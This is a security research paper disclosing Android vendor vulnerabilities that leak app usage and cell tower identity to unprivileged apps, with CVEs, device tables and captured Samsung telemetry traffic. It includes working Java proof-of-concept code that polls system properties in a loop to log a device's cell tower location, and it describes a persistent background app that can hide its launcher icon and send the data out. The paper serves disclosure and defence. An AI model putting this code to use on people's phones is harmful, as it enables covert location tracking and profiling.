Quokka

TECHNICAL PAPER

Android App Usage and Cell Tower Location

Private. Sensitive.
Available to Anyone?

Android App Usage and Cell Tower Location: Private. Sensitive. Available to Anyone?

July 5th, 2024

Abstract

Do you consider the list of mobile apps you use and the frequency at which you use them private information? What about the GPS coordinates of the cell tower(s) to which your smartphone connects? The Android framework restricts third-party apps from freely obtaining this information – unless the user *explicitly* grants the app access. Android is a diverse ecosystem that comes with many benefits, but device vendors can still unintentionally expose app usage and device location in a variety of ways. We uncover privacy leaks of both types of data, where pre-loaded vendor software exposes app usage and location to co-located software. We also explore various local exposures of this data, where it is leaked to resources that do not require any special permissions or privileges to access.

We discovered these leakages across several major vendors, including Samsung, Nokia, Transsion brands (i.e., Tecno, Infinix, and Itel), and additional vendors that utilize a pre-installed Qualcomm app for performance monitoring. We cover each of these exposures in detail. App usage reveals the subset of the apps that the user actually interacts with, which can be collected, combined with location data, and analyzed for advertising, profiling, and establishing user pattern-of-life.

[1.0] Summary of Findings

We summarized the findings and provided the impacted vendors, models, vulnerabilities, and Common Vulnerabilities and Exposures (CVE) IDs in Table 1.

Vendor	Devices	Version(s) Impacted	Exposure	CVE ID
Samsung	Galaxy S22 Ultra, Galaxy S21 Ultra 5G, Galaxy A25 5G, Galaxy A13 5G, Galaxy A03s, Galaxy A03 Core, Galaxy S10+, Galaxy A10e, & Galaxy S8	Android 8 - 14	Leaks cell tower identity information to system property values that are accessible to third-party apps with no permission which can be combined with the MCC-MNC to get an estimation of the physical location of the device when it was powered on	CVE-2024-34618 (SVE-2024-1200)
Samsung	Galaxy S22 Ultra, Galaxy S21 Ultra 5G, Galaxy A25, Galaxy Z Fold5, & Galaxy S10+	Android 10 - 14	"`/proc/kperfmon`" virtual file contains app usage and is readable by third-party apps	Samsung is still in the "patching" phase even though the vulnerability was reported in early March 2024
Qualcomm	OnePlus 8T, Nokia G50, & ZTE Axon 40 Ultra	Android 12 - 14	Package names of user-started apps is broadcast in an implicit broadcast "`Intent`"	CVE-2024-38425

			with no permission requirements	
Nokia	G50, G310 5G, C210, & C12	Android 12 - 13	Exported content provider component provides package names of user-started apps and has no permission requirements	Nokia acknowledged receiving the disclosure, but never responded to a follow up email
Transsion	Tecno Pova Neo 2 & Infinix Smart 7	Android 12	Third-party app list is transmitted using HTTP to the "`http://clog.geniex.com:9110/index`" URL	We chose not to go through their bug bounty program
	Tecno Pova Neo 2 & Infinix Smart 7	Android 12	Foreground package name is leaked to "`global`" system settings as the value to the "`top_resume_package`" key which requires no access permission	Tecno said that the vulnerability was discovered internally
	Infinix Hot 30i & Itel Vision 3	Android 11 - 12	Foreground package name is leaked to "`system`" system settings as the value to the "`current_focused_app`" key which requires no access permission	Tecno said that the vulnerability was discovered internally
	Itel Vision 3	Android 11	Package name of most recent user-started app is leaked to "`ITEL_AMS_StartProcessLocked`" key in "`secure`" system settings which requires no access permission	Tecno said that the vulnerability was discovered internally

Table 1. Summary of information disclosure vulnerabilities.

[2.0] Accessing Location Information

When an app wants to access a device's location information, the associated permissions form a "category" and "accuracy" pair of characteristics. The Android framework provides two permissions for an app to get a very accurate or approximate reading of the device's physical location. These two permissions are: "`android.permission.ACCESS_FINE_LOCATION`" & "`android.permission.ACCESS_COARSE_LOCATION`", respectively. When granted the "`android.permission.ACCESS_FINE_LOCATION`" permission, an app is able to obtain the device location with a precision of approximately 10-160 feet (3-50 meters), while the "`android.permission.ACCESS_COARSE_LOCATION`" permission provides a location accuracy of roughly 1.2 square miles (3.2 square kilometers).[1] Both of these permissions have a protection level of "`dangerous`" which requires the user to explicitly grant these permissions to the user via a GUI

[1] https://developer.android.com/develop/sensors-and-location/location/permissions#accuracy

dialog at runtime.[2] On Android 12 and above, developers are encouraged to request both permissions, which prompts the user to select one of the two levels of granularity to grant to the requesting app.

Although the leakage(s) from our findings do not provide device location in the form of latitude/longitude coordinates that location permissions would normally return, they provide the requisite data points - Mobile Country Code (MCC), Mobile Network Code (MNC), Location Area Code (LAC), and Cell Tower ID (CID) - to use publicly available databases to isolate and identify the specific cell tower to which the device connects to at boot, along with its GPS coordinates. The accuracy of the location of the cell tower with respect to the device itself depends on the area where the user is located. In a highly populated area with closely clustered cell towers, the location can be very accurate. In a more sparsely populated area with fewer cell towers, the location will be less precise.

[3.0] Accessing App Usage

Google considers the user's list of installed apps to be "personal and sensitive user data."[3] While the entire list of installed apps is not contained within the app usage exposures we discovered, they do contain the package name of each app the user starts from the launcher, or that comes into the foreground with an activity component, depending on the specific leakage. This information can be accessed and recorded with timestamps to longitudinally observe the apps that the user interacts with, and when. While the "`android.permission.QUERY_ALL_PACKAGES`" permission has a protection level of "`normal`", listing an app with this permission on Google Play requires explicit approval from Google due to its potential risk for abuse.[4] Therefore, it is generally difficult for a third-party app to receive full (or partial) information on the user's list of installed third-party apps.

Prior to Android Lollipop (5.0), a third-party app could request the "`android.permission.GET_TASKS`" permission and use the "`java.util.List android.app.ActivityManager.getRunningTasks(int)`" Application Programming Interface (API) to get the list of running tasks, including using an "`int`" argument value of "`1`" to get the package name of the foreground app.[5] The "`android.permission.GET_TASKS`" permission was deprecated and a replacement permission named "`android.permission.REAL_GET_TASKS`" permission was introduced.[6] This permission named "`android.permission.REAL_GET_TASKS`" permission is not available to third-party apps.[7] There are some workarounds that require the user to grant a third-party app usage access through the special app access menu in the Settings app.[8] Despite the restrictions imposed by the Android framework, the information disclosure vulnerabilities we discovered expose app usage data to any local third-party app that is aware of the resources to which pre-loaded software leaks the data.

[4.0] Persistent Execution as a Third-Party App

Most of the vulnerabilities discussed in this paper do not require any specific permissions or privileges to exploit. Indeed, the root causes of the vulnerabilities are principally a failure of the developers to implement proper access control on the resources that contain either the app usage or the cell tower data. App usage and device location data is dynamic, so an attacker would likely want persistent execution to constantly monitor the exposed resource(s) for a longitudinal view. While pre-installed software can certainly take advantage of these leakages, which provides them with at least one level of indirection as they are not accessing the data directly, we consider the threat model where the user downloads a third-party app with a minimal permission set to persistently execute and then monitor its environment for exposures of app usage and cell tower data.

[2] https://developer.android.com/guide/topics/manifest/permission-element#plevel
[3] https://developer.android.com/training/package-visibility
[4] https://support.google.com/googleplay/android-developer/answer/10158779
[5] https://developer.android.com/reference/android/app/ActivityManager#getRunningTasks(int)
[6] https://android.googlesource.com/platform/frameworks/base/+/2d7576b%5E!/
[7]
https://android.googlesource.com/platform/frameworks/base/+/refs/heads/android14-platform-release/core/res/AndroidManifest.xml#3080
[8]
https://android.googlesource.com/platform/frameworks/base/+/refs/heads/android14-platform-release/core/res/AndroidManifest.xml#3080

Whenever the user is actively using a third-party app, its app components can access the exposed resources that contain the leaked data. An attacker would most likely value persistent access to the resources which, barring another vulnerability to achieve persistence, would necessitate the app requesting the "`android.permission.RECEIVE_BOOT_COMPLETED`" permission to run at startup and the "`android.permission.FOREGROUND_SERVICE`" permission to continually execute in the background while the user is not actively using the app. Both of these two permissions have a protection level of "`normal`", the least restrictive permission level, which the Android framework grants to the requesting app upon installation without requiring any interaction from the user.

A template Proof-of-Concept (PoC) app, which targets Android Software Development Kit (SDK) level 33 and requests the aforementioned two permissions, is provided in Appendices A, B, C, and D, where the code snippets provided throughout the paper can be copied and pasted into the "`code_goes_here`" method in Appendix A. The threat model is that the user downloads and installs a third-party app that requests the "`android.permission.FOREGROUND_SERVICE`" and "`android.permission.RECEIVE_BOOT_COMPLETED`" permissions and executes the app at least once. After the user executes the app for the first time, it becomes enabled and persistently executes, except when the device is in *safe mode*, until the user uninstalls the app. Optionally, the PoC app can disable its launcher component to make it more cumbersome for the user to manually uninstall. With persistent execution, the PoC app can constantly monitor the exposed resources, and potentially exfiltrate the raw data (or a summary of it) to an external network endpoint if it also requests the "`android.permission.INTERNET`" permission.

[5.0] Samsung Cell Tower Identity Exposure

At 20.8% of the global market share for smartphones in the first quarter of 2024, Samsung reclaimed the top spot from Apple as the leading smartphone manufacturer in the world, according to IDC.[9] Considering only the Android smartphone market, Samsung is the leader with respect to the total number of smartphones sold in 2023, according to StatCounter Global Stats.[10] Samsung, like the other Android vendors, customizes their smartphones with additional hardware and software features to differentiate themselves from their competitors. The level of customization among Android vendors vary, but all vendors use the Android Open Source Project (AOSP) code as a substrate onto which they make their modifications.[11]

We discovered a local information disclosure vulnerability in Samsung smartphones, impacting Android 8 to Android 14, where the CID and LAC are leaked to globally-readable system properties. Pairing these two values with the MCC and MNC values, local actors can use this information to identify the GPS coordinates of the cell tower to which the device is connected each time the device initializes (or re-initializes) system properties from user, system, or attacker-initiated action. The actual GPS coordinates of the cell tower may not always be discernible, but with the help of free databases (e.g., https://opencellid.org/), an attacker can provide these four values (i.e., CID, LAC, MCC, & MNC) which local actors can access by reading specific system properties. Notably, these four values are present even when there is no SIM card inserted since cell phones in the United States are required to be able to call emergency phone numbers in all circumstances.[12]

In addition to the system properties where the actual location data leakage occurs, the system property "`ril.read.done`" controls if this location data is updated each time the device connects to a new cell tower during normal operation, but in each of our test devices this system property was programmatically set as to disable this real-time updating. In the previous paragraph, we refer to initializing or re-initializing system properties from “user, system, or attacker-initiated action” as the cause for the cell tower location data to be updated. A user-initiated action could include manually rebooting the device, manually powering the device off and on, or failing to keep the device at a sufficient charge and causing it to power off as the result of a depleted battery. A system-initiated action could include a routine device update requiring a device reboot. An attacker-initiated action could include maliciously invoking a device reboot, a complete system crash, or a crash of the system property subsystem causing the "`ril.read.done`" property to be cleared.

[9] https://www.idc.com/getdoc.jsp?containerId=prUS52032524
[10] https://gs.statcounter.com/vendor-market-share/mobile
[11] https://source.android.com/
[12] https://www.androidauthority.com/can-you-call-911-without-service-3391300/

[5.1] Samsung Cell Tower Identity Vulnerability Description

The local information disclosure vulnerability manifests due to a lack of access control for the read operation on the "`ril.CHAR`" and "`ril.LIMA`" system properties on GSM smartphones, exposing the CID and LAC, respectively.[13] The "`gsm.operator.numeric`" system property contains the value (or *values* for dual-SIM smartphones) for the MCC and MNC. System properties are accessible to local processes on Android-based smartphones via executing the "`getprop`" command. SELinux can restrict processes from accessing specific system property values based on the SELinux context of the property, the SELinux context of the process trying to read the system property, and the specific SELinux rules imposed on the SELinux context of this process.

The "`ril.CHAR`", "`ril.LIMA`", and "`gsm.operator.numeric`" system properties all have SELinux contexts of "`u:object_r:radio_prop:s0`". System properties with the "`u:object_r:radio_prop:s0`" SELinux context can be accessed by third-party apps (e.g., "`u:r:untrusted_app_32:s0:c35,c256,c512,c768`" SELinux context). Accessing the "`ril.CHAR`", "`ril.LIMA`", and "`gsm.operator.numeric`" system properties does not require a third-party app to require any specific permission or privilege. Since SELinux does not block access to these system property values, they can be accessed at will by unprivileged third-party apps as well as by more privileged pre-loaded software. If a third-party app requests two additional permissions for persistence (e.g., "`android.permission.RECEIVE_BOOT_COMPLETED`" and "`android.permission.FOREGROUND_SERVICE`", then the third-party app can constantly run in the background and longitudinally record all cell tower information to track the user's location over time. In addition, the "`ril.CHAR`", "`ril.LIMA`", and "`gsm.operator.numeric`" system properties are populated with concrete values even when a SIM card is not inserted. This is in order to allow the device to call emergency phone numbers in the United States.

The cell tower information can be obtained via the "`java.util.List<android.telephony.CellInfo> android.telephony.TelephonyManager.getAllCellInfo()`" API call.[14] The official documentation for this API call states: "*Requires Manifest.permission.ACCESS_FINE_LOCATION. Requires the PackageManager#FEATURE_TELEPHONY_RADIO_ACCESS feature which can be detected using PackageManager.hasSystemFeature(String).*" Additionally, the cell tower information can be obtained via the "`android.telephony.CellLocation android.telephony.TelephonyManager.getCellLocation()`" API call, although it was deprecated in API level 26.[15] This API call, like the previous one, requires that the caller possess the "`android.permission.ACCESS_FINE_LOCATION`" permission. Therefore, accessing the "`ril.CHAR`", "`ril.LIMA`", and "`gsm.operator.numeric`" system properties allows a third-party app to obtain similar information that a permission-protected API call returns, bypassing a security requirement that the app posses the "`android.permission.ACCESS_FINE_LOCATION`" permission, which is a "`dangerous`" permission that the user must explicitly grant to a third-party app via a GUI dialog.[16]

On the Samsung Galaxy A25 5G and Samsung Galaxy S8 smartphones, the "`NetworkRespBuilder::BuildVoiceRegResponse(int, RilData*, int*)`" function is exported by the "`/vendor/lib64/libsec-ril.so`" library and can set the "`ril.CHAR`" and "`ril.LIMA`" system properties.[17] On the Samsung Galaxy A25 smartphone, the aforementioned function in the "`/vendor/lib64/libsec-ril.so`" library loads the "`/vendor/lib64/libSemTelephonyProps.so`" library to invoke its exported functions to perform the setting of the "`ril.CHAR`" and "`ril.LIMA`" system properties via dedicated helper functions (i.e., "`com::samsung::telephony::sysprop::SemTelephonyProps::ril_char(std::optional<int>)`" and

[13] We did not have access to any Samsung smartphones that use CDMA, although based on code analysis, it appears that CDMA smartphones use the "`ril.BRAVO`" and "`ril.SIERRA`" system properties to expose the CID and LAC, respectively.
[14] https://developer.android.com/reference/android/telephony/TelephonyManager#getAllCellInfo()
[15] https://developer.android.com/reference/android/telephony/TelephonyManager#getCellLocation()
[16] https://developer.android.com/reference/android/Manifest.permission#ACCESS_FINE_LOCATION
[17] The "`NetworkRespBuilder::BuildDataRegResponse(int, RilData*, int*)`" function in the "`/vendor/lib64/libsec-ril.so`" library can also set the "`ril.CHAR`" and "`ril.LIMA`" system properties in the Samsung Galaxy A25 smartphone.

"com::samsung::telephony::sysprop::SemTelephonyProps::lima(std::optional<int>)"). The "/vendor/lib64/libsec-ril.so" library is dynamically loaded by the "rild" process (e.g., "/vendor/bin/hw/rild") on both devices directly via the "dlopen" function. The "rild" process invokes the "RIL_Init" function in the "/vendor/lib64/libsec-ril.so" library. It is likely that the "rild" process or another telephony-related process that loads the "/vendor/lib64/libsec-ril.so" library which sets the "ril.CHAR" and "ril.LIMA" system properties with the values for the CID and LAC, respectively. The update to the "ril.CHAR" and "ril.LIMA" system properties only occurs if another system property, "ril.read.done", is uninitialized or set to "0".

On the Samsung Galaxy A25 smartphone, in the "/system/framework/framework.jar" file, there is a static method named "void com.samsung.telephony.sysprop.SemTelephonyProps.ril_char(java.lang.Integer)" that is a convenience method that takes an "Integer" argument and sets it as the value to the the "ril.CHAR" system property. The "com.samsung.telephony.sysprop.SemTelephonyProps" class also has methods to get and set the following system properties: "ril.LIMA", "ril.SIERRA", and "ril.BRAVO". We hypothesize that a process executing on the baseband processor may be responsible for setting the value for these system properties.

To access the cell tower location on impacted Samsung smartphones, the following two utility methods should be added to the "MonitorService" class in Appendix A.

```
private String get_system_property(String property) {
   StringBuilder stringBuilder = new StringBuilder();
   try {
       Process process = Runtime.getRuntime().exec(new String[]{"getprop", property});
       BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
       String line = null;
       while ((line = bufferedReader.readLine()) != null)
           stringBuilder.append(line);
   } catch (Exception e) {
       Log.d(TAG, "getprop cmd exception", e);
   }
   return stringBuilder.toString();
}

private String process_raw_mcc_mnc(String raw_mcc_mnc) {
   if (raw_mcc_mnc == null || raw_mcc_mnc.isEmpty())
       return "null";
   if (raw_mcc_mnc.endsWith(","))
       return raw_mcc_mnc.substring(0, raw_mcc_mnc.length()-1);
   else
       return raw_mcc_mnc;
}
```

Next, the following source code snippet should be inserted into the "code_goes_here" method in Appendix A. This source code snippet gets the CID, LAC, and MCC-MNC values and writes them to the system log approximately every sixty seconds using a log tag of "cell_tower_identity".

```
Thread thread = new Thread() {
   @Override
   public void run() {
       while (true)  {
           try {
               String cell_id = get_system_property("ril.CHAR");
               String lac = get_system_property("ril.LIMA");
               String raw_mcc_mnc = get_system_property("gsm.operator.numeric");
               String processed_mcc_mnc = process_raw_mcc_mnc(raw_mcc_mnc);
               Long timestamp = System.currentTimeMillis() / 1000;
                 Log.i("cell_tower_identity", "cell_id=" + cell_id + ", lac=" + lac + ", MCC-MNC(s)=" + processed_mcc_mnc +
", timestamp=" + timestamp);
               Thread.sleep(60000);
           } catch (Exception e) {
               Log.i("cell_tower_identity", "exception", e);
           }
       }
   }
};
thread.start();
```

The log statements emitted by the code snippet above can be observed using the "`adb logcat cell_tower_identity:V -s`" Android Debug Bridge (ADB) command. The data below (i.e., CID, LAC, MCC, MNC) can be entered into https://opencellid.org/ and this will provide the GPS coordinates of the cell tower if it is present in their database. For the values from the log messages provided below, OpenCelliD provides corresponding GPS coordinates of "`38.881644`" (latitude) and "`-77.115784`" (longitude).[18]

```
I cell_tower_identity: cell_id=20356222, lac=46197, MCC-MNC(s)=310260, timestamp=1714585505
I cell_tower_identity: cell_id=20356222, lac=46197, MCC-MNC(s)=310260, timestamp=1714585565
I cell_tower_identity: cell_id=20356222, lac=46197, MCC-MNC(s)=310260, timestamp=1714585625
I cell_tower_identity: cell_id=20356222, lac=46197, MCC-MNC(s)=310260, timestamp=1714585675
I cell_tower_identity: cell_id=20356222, lac=46197, MCC-MNC(s)=310260, timestamp=1714585735
I cell_tower_identity: cell_id=20356222, lac=46197, MCC-MNC(s)=310260, timestamp=1714585795
I cell_tower_identity: cell_id=20356222, lac=46197, MCC-MNC(s)=310260, timestamp=1714585855
I cell_tower_identity: cell_id=20356222, lac=46197, MCC-MNC(s)=310260, timestamp=1714585915
```

[5.2] Impacted Samsung Devices

We examined several Samsung smartphones to get an estimate of the breadth of impacted devices. The cell tower identity leakage vulnerability appears to have been introduced in Android 8 (or possibly earlier) and is present up to and including the current Android 14 version. In Table 2, the "*Build Fingerprint*" column corresponds to the "`ro.build.fingerprint`" system property and the "*Build Date*" column corresponds to the "`ro.build.date`" system property. Table 2 provides a sampling of Samsung devices we manually tested, although the complete list of impacted models is likely much larger.

Samsung Model	**Build Fingerprint**	**Build Date**
Galaxy S22 Ultra	`samsung/b0quew/b0q:14/UP1A.231005.007/S908U1UES4DXD1:user/release-keys`	`Mon Apr  1 17:33:33 KST 2024`
Galaxy S21 Ultra 5G	`samsung/p3quew/p3q:14/UP1A.231005.007/G998U1UESAFXD1:user/release-keys`	`Mon Apr  1 18:21:57 KST 2024`
Galaxy A25 5G	`samsung/a25xdxx/a25x:14/UP1A.231005.007/A256EXXS2AXCC:user/release-keys`	`Wed Apr 10 06:13:45 KST 2024`
Galaxy A14	`samsung/a14mnnxx/a14m:13/TP1A.220624.014/A145PXXU1AWB1:user/release-keys`	`Fri Feb 10 15:15:56 KST 2023`
Galaxy A13 5G	`samsung/a13xtfn/a13x:13/TP1A.220624.014/S136DLUDS7DWH3:user/release-keys`	`Fri Aug 25 20:05:42 KST 2023`
Galaxy A03s	`samsung/a03sutfn/a03su:13/TP1A.220624.014/S134DLUDU6CWB6:user/release-keys`	`Mon Feb 20 19:43:44 KST 2023`
Galaxy A03 Core	`samsung/a3coreub/a3core:11/RP1A.201005.001/A032MUBU1AUKC:user/release-keys`	`Wed Nov 17 01:12:53 KST 2021`
Galaxy S10+	`samsung/beyond2ltexx/beyond2:10/QP1A.190711.020/G975FXXS9DTK9:user/release-keys`	`Fri Nov 13 12:14:56 KST 2020`
Galaxy A10e	`samsung/a10etfn/a10e:9/PPR1.`	`Wed Jan 29 21:07:55 KST 2020`

[18] https://opencellid.org/#zoom=18&lat=38.881644&lon=-77.115784

	180610.011/S102DLUDS3ATA1:user/release-keys	
Galaxy S8	samsung/dreamltexx/dreamlte:8.0.0/R16NW/G950FXXS4CRLB:user/release-keys	Wed Dec 26 11:34:58 KST 2018

Table 2. List of Samsung smartphones that contain the cell tower identity leakage vulnerability.

[5.3] Checking if Your Device is Vulnerable

To definitively determine if your own device is vulnerable, you should execute the PoC source code provided in this Section 5.1 and see if log messages containing cell identity information start appearing after executing the "`adb logcat cell_tower_identity:V -s`" ADB. To determine if your own device is improperly utilizing the system properties we associate with this leakage, execute the "`adb shell 'getprop ril.CHAR; getprop ril.LIMA'`" ADB command and if it returns two non-empty values as the output, then your device may be vulnerable.

[5.4] HTTPS Transmission of Device Identifiers and Cell Tower Identity

In addition to the local information disclosure of the cell tower identity, we captured network traffic emitted from both a Samsung Galaxy A25 device running a recent Android 14 software build as well as an older Samsung device (i.e., Galaxy S8) running Android 8 transmitting the cell tower identity (CID and LAC), MCC-MNC by network operator, MCC-MNC by SIM card, IMEI value(s), device serial number, and a secondary device serial number in an HTTPS POST request for the "`https://dir-apis.samsungdm.com/api/v1/device`" URL. This POST request occurs only once after the device is initially powered on and connected to a network. The POST request originates from a pre-installed app with a package name "`com.sec.android.soagent`" that executes with "`system`" privileges and has a default application label of "`Software update`". The same Personally Identifiable Information (PII) data can be transmitted to the "`https://dir-apis.samsung.com.cn/api/v1/device`" URL, although this requires one of a number conditions to be satisfied, with the most likely being that the device is physically located in China. These requirements are explained in Section 5.5 based on analysis of the conditional checks that the app performs to determine which of these two URLs to use.

To intercept the HTTPS network requests made by the "`com.sec.android.soagent`" app, we had to "*`root`*" the two Samsung smartphones in order to install a hooking framework. This enabled us to change the app's behavior with respect to HTTPS connections, and facilitate the capture of network traffic from the app. The process to obtain "`root`" access on the two Samsung devices was slightly different, although not significantly. Certain Samsung devices with an Exynos chipset allow the user to unlock the bootloader to "*flash*" custom firmware images that have not been cryptographically signed by Samsung.[19] Samsung allows its smartphones to be flashed using a tool called "*Odin*" while in "*download*" mode when the bootloader is unlocked.[20]

The aforementioned Samsung smartphones include a pre-installed app with a package name of "`com.sec.android.soagent`" that executes with the "`system`" shared User Identifier (UID). When a Samsung smartphone is first powered on and connected to a network, the "`com.sec.android.soagent`" app quickly makes a POST request for the "`https://dir-apis.samsungdm.com/api/v1/device`" URL with the following data in the JSON request body: IMEI value(s), device serial number, secondary device serial number, MNC-MCC by network operator, MNC-MCC by SIM card, CID, and LAC. The POST request occurs only once if the response HTTP status code is "`200`". The POST request for the "`https://dir-apis.samsungdm.com/api/v1/device`" URL occurs on Samsung devices running versions "`4.1.18`" (from the Galaxy S8 running Android 8) to "`7.3.05`" (from the Galaxy A25 5G running current Android 14 software). We did not test any versions of the "`com.sec.android.soagent`" app that had a version below "`4.1.18`" to verify if the same behavior was present.

[19] The Samsung smartphones that have an unlockable bootloader are *usually* the international versions with an Exynos chipset.
[20] https://en.wikipedia.org/wiki/Odin_(firmware_flashing_software)

The requirements for the POST request made to the "`https://dir-apis.samsungdm.com/api/v1/device`" URL are that the user only needs to connect to a network that has full connectivity and wait for approximately ten minutes. In addition to this POST request, all versions of the "`com.sec.android.soagent`" app we examined also make PUT requests for the "`https://dir-apis.samsungdm.com/api/v1/device/heartbeat`" URL ever 14 days, which contains the primary IMEI, secondary IMEI (for dual-SIM smartphones), serial number, secondary serial number, MNC-MCC by network operator, and MNC-MCC by SIM card. There is a difference in behavior between the versions of the "`com.sec.android.soagent`" app with respect to the data contained in the PUT request to the "`https://dir-apis.samsungdm.com/api/v1/device/heartbeat`" URL. Versions "`5.0.16`" and below (at least to "`4.1.18`") of the "`com.sec.android.soagent`" app (impacting Android 8 and Android 9) send also send the cell tower identity data (CID and LAC) in addition the aforementioned PII every 14 days, in an HTTPS PUT request to the "`https://dir-apis.samsungdm.com/api/v1/device/heartbeat`" URL, although the inclusion of the cell tower identity depends on the device's specific values for the "`CscFeature_SetupWizard_DisablePrivacyPolicyAgreement`", "`CountryISO`", and "`CscFeature_Common_EulaVersion`" elements which are stored in an XML file (e.g., "`/system/omc/XSG/cscfeature.xml`").

The transmission of PII was directly observed and captured being emitted by the Galaxy A25 ("`samsung/a25xdxx/a25x:14/UP1A.231005.007/A256EXXS2AXCC:user/release-keys`") and the Galaxy S8 ("`samsung/dreamltexx/dreamlte:8.0.0/R16NW/G950FXXS4CRLB:user/release-keys`") Samsung smartphones. The Galaxy A25 device has a build date of "`Wed Apr 10 06:13:45 KST 2024`". The Galaxy S8 device has a build date of "`Wed Dec 26 11:34:58 KST 2018`". The Galaxy S8 device is running a software build that, being five years and three months older than the Galaxy A25 device, sends out the cell identity information to the "`https://dir-apis.samsungdm.com/api/v1/device/heartbeat`" URL every 14 days. The Galaxy A25 device does not exhibit this behavior due to it having a more recent version of the "`com.sec.android.soagent`" app (i.e., "`7.3.05`").

Information about the pre-installed app that transmits PII, including non-resettable device identifiers and cell identity information, to "`https://dir-apis.samsungdm.com/api/v1/device`" URL is provided below from the Galaxy A25 device in which we were able to dynamically capture the network traffic. Notably, this app accesses the "`ril.CHAR`" and "`ril.LIMA`" system properties on GSM smartphones (and "`ril.BRAVO`" and "`ril.SIERRA`" system properties on CDMA smartphones) for the cell identity information it sends in POST requests. The following app identity data is provided from the Galaxy A25 smartphone.

Package name: `com.sec.android.soagent`
Path: `/system/priv-app/SOAgent7/SOAgent7.apk`
Version code: `730501000`
Version name: `7.3.05`
Platform build version code: `34`
Platform build version name: `14`
SHA-256 message digest: `65703419ce7f02036d9eaddd3fcb3ee5c7c3a68d4b820348c126e155eab56b01`
Shared UID: `android.uid.system`

In addition to the Galaxy A25 device, we were also able to capture PII transmissions from the same pre-installed app on a Galaxy S8 device, for which the information about the app is provided below.

Package name: `com.sec.android.soagent`
Path: `/system/priv-app/SOAgent/SOAgent.apk`
Version code: `411801000`
Version name: `4.1.18`
Platform build version code: `26`

Platform build version name: `8.0.0`
SHA-256 message digest: `5d31e23f327be87269858d45ac603fdc6f4af3eca153b2c29a06c6033a9241bb`
Shared UID: `android.uid.system`

The Galaxy S8 device has a software build that is five years and three months older than that of the Galaxy A25 device. There are several differences between the two versions of the app, although both make POST requests for the "`https://dir-apis.samsungdm.com/api/v1/device`" URL only once. In addition, both apps send PUT requests for the "`https://dir-apis.samsungdm.com/api/v1/device/heartbeat`" URL every 14 days with the following data: primary IMEI, secondary IMEI (for dual-SIM smartphones), serial number, secondary serial number, MNC-MCC by network operator, and MNC-MCC by SIM card. The older version of the "`com.sec.android.soagent`" app from the Galaxy S8 device also transmits the CID and LAC in PUT requests for the "`https://dir-apis.samsungdm.com/api/v1/device/heartbeat`" URL.

The POST request for "`https://dir-apis.samsungdm.com/api/v1/device`" URL from the Galaxy A25 device is provided below representing the high-level flow details, request headers, and the request body. The POST request for the same URL from the Galaxy S8 device is provided in Appendix E.

```
2024-05-25 19:27:01 POST https://dir-apis.samsungdm.com/api/v1/device
                         ← 200 OK text/html [no content] 4ms

Content-Type:     application/json
Accept:           application/json
Authorization:
consumer_id="CE11237B19E300CB347E",signature="uuEV3tlEEkrfsZ/1mcaWMzhBIsO6TTK9aTGVWFlr67k=",auth_typ
e="sha-256_v2"
User-Agent:       Dalvik/2.1.0 (Linux; U; Android 14; SM-A256E Build/UP1A.231005.007)
Host:             dir-apis.samsungdm.com
Connection:       Keep-Alive
Accept-Encoding:  gzip
Content-Length:   1136
```

```
{
    "deviceVO": {
        "bitInfo":
"{\"WB\":1,\"TB\":1,\"ABS\":1,\"Reason\":\"F\",\"BinaryStatus\":{\"R\":2,\"B\":3,\"L\":2,\"S\":2,\"V
\":2,\"P\":2,\"C
\":2,\"U\":2,\"H\":0,\"O\":2,\"DT\":2,\"DO\":2,\"ES\":0,\"ET\":\"0\",\"HDM\":\"FFFFFFFF\"}}",
        "clientVersion": "7.3.05",
        "countryIso": "GT",
        "customerCode": "GTO",
        "dataNetworkCellInfo": "11423490",
        "dataNetworkCellType": "LTE",
        "dataNetworkLocationAreaInfo": "20247",
        "dataNetworkType": 13,
        "deviceID": "IMEI:350616259196813",
        "deviceModelName": "SM-A256E",
        "deviceNetworkCellInfo": "11423490",
        "deviceNetworkLocationAreaInfo": "20247",
        "deviceNetworkType": "GSM",
        "eulaVersion": "E1.02.02|P1.04.08",
        "fingerPrint": "samsung/a25xdxx/a25x:14/UP1A.231005.007/A256EXXS2AXCC:user/release-keys",
        "fwVersion": "A256EXXS2AXCC/A256EOWO2AXCC/A256EXXS2AXCC",
        "mccByDevice": "712",
        "mccByNetwork": "310",
        "mccBySIM": "310",
        "mncByNetwork": "260",
        "mncBySIM": "240",
        "networkBearer": "1",
        "pcb2d": "G3B021329SP0R",
        "rooting": "",
        "secType": "N",
        "secondDeviceID": "IMEI:350960289196819",
        "securityPatchVersion": "2024-04-01",
        "sepVersion": "15.0",
        "serialNumber": "R5CX2055KGB",
        "sk": "AWJCcm6h3MoAd1716680725829BkIEIL",
        "uniqueNumber": "CE11237B19E300CB347E"
    }
}
```

The Galaxy A25 device ("SM-A256E" model) has a single SIM slot, resulting in a single IMEI value that is provided as the value to the "deviceID" JSON key.[21] The device serial number, the value provided as the return value of the "adb get-serialno" ADB command, is provided in the "serialNumber" key.[22] The "uniqueNumber" key contains the contents of the first non-empty file, which is converted to uppercase in the default locale, that are accessed in the following sequential order: "/sys/class/scsi_host/host0/unique_number", "/sys/class/sec/mmc/un", "/sys/block/mmcblk0/device/unique_number", and "/sys/class/sec/ufs/un".[23] Additionally, there are various MCC and MNC values sent in the POST request. The "mccByDevice" key contains "712" which corresponds to the MCC of the Costa Rica. This firmware build was designed for the market of Guatemala as indicated by the "countryIso" element value of "GT".[24]

There are also MCC and MNC key values specific to the SIM card and network operator connection. The "mccByNetwork" key is the first three characters, parsed via a substring operation, returned from the "java.lang.String android.telephony.TelephonyManager.getNetworkOperator()" API call, and the "mncByNetwork" key is the return value of the same API call where the first three characters have been removed. The "mccBySIM" key is the first three characters, parsed via a substring operation, from the return value of the "java.lang.String android.telephony.TelephonyManager.getSimOperator()" API call, and the "mncBySIM" key is the return value of the same API call where the first three characters have been removed.

The "deviceNetworkCellInfo" key is populated with the value of the "ril.CHAR" system property for GSM networks (and the "ril.BRAVO" system property for CDMA networks). The "deviceNetworkLocationAreaInfo" key is populated with the value from the "ril.LIMA" system property for GSM networks (and "ril.SIERRA" system property for CDMA networks). The following values from the keys in the PUT request ("mccByNetwork", "mncByNetwork", "deviceNetworkCellInfo" and "deviceNetworkLocationAreaInfo") can be used as search terms in online databases (e.g., https://opencellid.org/) to check if the GPS coordinates for the specific transceiver base station to which the device is connected are available. Using the values for these keys from the POST (and in certain cases PUT) request and running them in a https://opencellid.org/ query returns a latitude of "38.880921" and a longitude of "-77.114642" for the transceiver base station.[25]

